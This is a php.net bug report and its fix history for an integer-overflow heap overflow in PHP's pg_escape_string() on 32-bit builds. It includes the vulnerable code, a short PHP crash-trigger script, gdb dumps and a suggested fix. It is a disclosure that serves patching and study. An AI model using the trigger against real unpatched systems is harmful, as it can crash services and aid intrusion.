php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73399 Heap overflow due to integer overflow in pg_escape_string() function
Submitted: 2016-10-27 04:12 UTC Modified: 2017-02-13 00:59 UTC
From: bughunter at fosec dot vn Assigned: stas (profile)
Status: Closed Package: PostgreSQL related
PHP Version: 7.1Git-2016-10-27 (Git) OS: Linux
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: bughunter at fosec dot vn
New email:
PHP Version: OS:

 

 [2016-10-27 04:12 UTC] bughunter at fosec dot vn
Description:
------------
I have found some vulnerable code at pg_escape_string() function in module PostgreSQL. pg_escape_string() function creates a new zend_string object to store escaped string. The size of destination string depends on the size of source string. ( refer at ext/pgsql/pgsql.c:4384 )


PHP_FUNCTION(pg_escape_string)
{

...
    zend_string *from = NULL, *to = NULL;
    
....
	to = zend_string_alloc(ZSTR_LEN(from) * 2, 0);

...
}


If length of `from` string is equal to PHP_INT_MAX, new string `to` will have an unexpected length. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large data and lead to heap overflow. I can overwrite other objects of PHP in memory. I can leak memory to bypass ASLR + DEP and control eip register to the arbitrary value. Finally, the overflow results as arbitrary code execution. This bug is only triggered in 32bit machine.

Solution:
It should be zend_string_alloc_safe instead of zend_string_alloc. 

Test script:
---------------
<?php
ini_set('memory_limit', -1);
$s = str_repeat("a",0x7FFFFFFF);
$escaped = pg_escape_string($s);
?>

Actual result:
--------------
Open php program in gdb and run test script, set a breakpoint at line in file ext/pgsql/pgsql.c:4384.
When debugger stops, we have the length of `from` string is 0x7fffffff. The size which is used as parameter in _emalloc() function is equal to ((0x7fffffff * 2 + 0x14 ) & 0xfffffffc). Due to integer overflow, new size is 0x10. The new memory region is too small to store a large string! 

 [----------------------------------registers-----------------------------------]
EAX: 0x36e00000 --> 0x2 
EBX: 0x8903068 --> 0x1 
ECX: 0x10 
EDX: 0xbfffc0d8 --> 0x36e00000 --> 0x2 
ESI: 0xb72130a0 --> 0x0 
EDI: 0xfffffffe 
EBP: 0x0 
ESP: 0xbfffc0b0 --> 0x1 
EIP: 0x81dfa4d (<zif_pg_escape_string+93>:	call   0x8312c90 <_emalloc>)
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x81dfa45 <zif_pg_escape_string+85>:	add    edi,edi
   0x81dfa47 <zif_pg_escape_string+87>:	lea    ecx,[edi+0x14]
   0x81dfa4a <zif_pg_escape_string+90>:	and    ecx,0xfffffffc
=> 0x81dfa4d <zif_pg_escape_string+93>:	call   0x8312c90 <_emalloc>
   0x81dfa52 <zif_pg_escape_string+98>:	test   ebp,ebp
   0x81dfa54 <zif_pg_escape_string+100>:	mov    ebx,eax
   0x81dfa56 <zif_pg_escape_string+102>:	mov    DWORD PTR [eax],0x1
   0x81dfa5c <zif_pg_escape_string+108>:	mov    DWORD PTR [eax+0x4],0x6
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbfffc0b0 --> 0x1 
0004| 0xbfffc0b4 --> 0x84a3ac9 --> 0x69760053 ('a' <repeats 200 times>...)
0008| 0xbfffc0b8 --> 0xbfffc0d8 --> 0x36e00000 --> 0x2 
0012| 0xbfffc0bc --> 0xbfffc0dc --> 0x7fffffff ('a' <repeats 200 times>...)
0016| 0xbfffc0c0 --> 0x89b2db0 --> 0xb7d68450 --> 0x89b3030 --> 0x0 
0020| 0xbfffc0c4 --> 0x7fffffff ('a' <repeats 200 times>...)
0024| 0xbfffc0c8 --> 0x36e00000 --> 0x2 
0028| 0xbfffc0cc --> 0xb725f3a8 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x081dfa4d	122		zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
gdb-peda$ 


if we continue running, other memory region will be overwritten until SIGSEGV!

[----------------------------------registers-----------------------------------]
EAX: 0x61 ('a')
EBX: 0xb7f8b000 --> 0x2ae9c 
ECX: 0x0 
EDX: 0xb7400000 
ESI: 0x36f96fb1 ('a' <repeats 200 times>...)
EDI: 0x7fe6905f ('a' <repeats 200 times>...)
EBP: 0xb7400001 
ESP: 0xbfffc040 --> 0xbfffc090 --> 0x0 
EIP: 0xb7f6d287 (<PQescapeStringInternal+119>:	mov    BYTE PTR [edx],al)
EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7f6d27e <PQescapeStringInternal+110>:	mov    BYTE PTR [ebp+0x0],al
   0xb7f6d281 <PQescapeStringInternal+113>:	lea    ebp,[edx+0x1]
   0xb7f6d284 <PQescapeStringInternal+116>:	add    esi,0x1
=> 0xb7f6d287 <PQescapeStringInternal+119>:	mov    BYTE PTR [edx],al
   0xb7f6d289 <PQescapeStringInternal+121>:	sub    edi,0x1
   0xb7f6d28c <PQescapeStringInternal+124>:	test   edi,edi
   0xb7f6d28e <PQescapeStringInternal+126>:	je     0xb7f6d297 <PQescapeStringInternal+135>
   0xb7f6d290 <PQescapeStringInternal+128>:	movzx  eax,BYTE PTR [esi]
[------------------------------------stack-------------------------------------]
0000| 0xbfffc040 --> 0xbfffc090 --> 0x0 
0004| 0xbfffc044 --> 0xb7fed6cd (<_dl_fixup+205>:	sub    esp,0x14)
0008| 0xbfffc048 --> 0xb7fffab0 --> 0xb7fffa54 --> 0xb754496c --> 0xb7fff8f8 --> 0x0 
0012| 0xbfffc04c --> 0x0 
0016| 0xbfffc050 --> 0x1 
0020| 0xbfffc054 --> 0x0 
0024| 0xbfffc058 --> 0xb7269060 ('a' <repeats 200 times>...)
0028| 0xbfffc05c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xb7f6d287 in PQescapeStringInternal () from /lib/libpq.so.5
gdb-peda$ 

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-05 21:48 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:48 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 00:59 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Apr 18 01:01:28 2024 UTC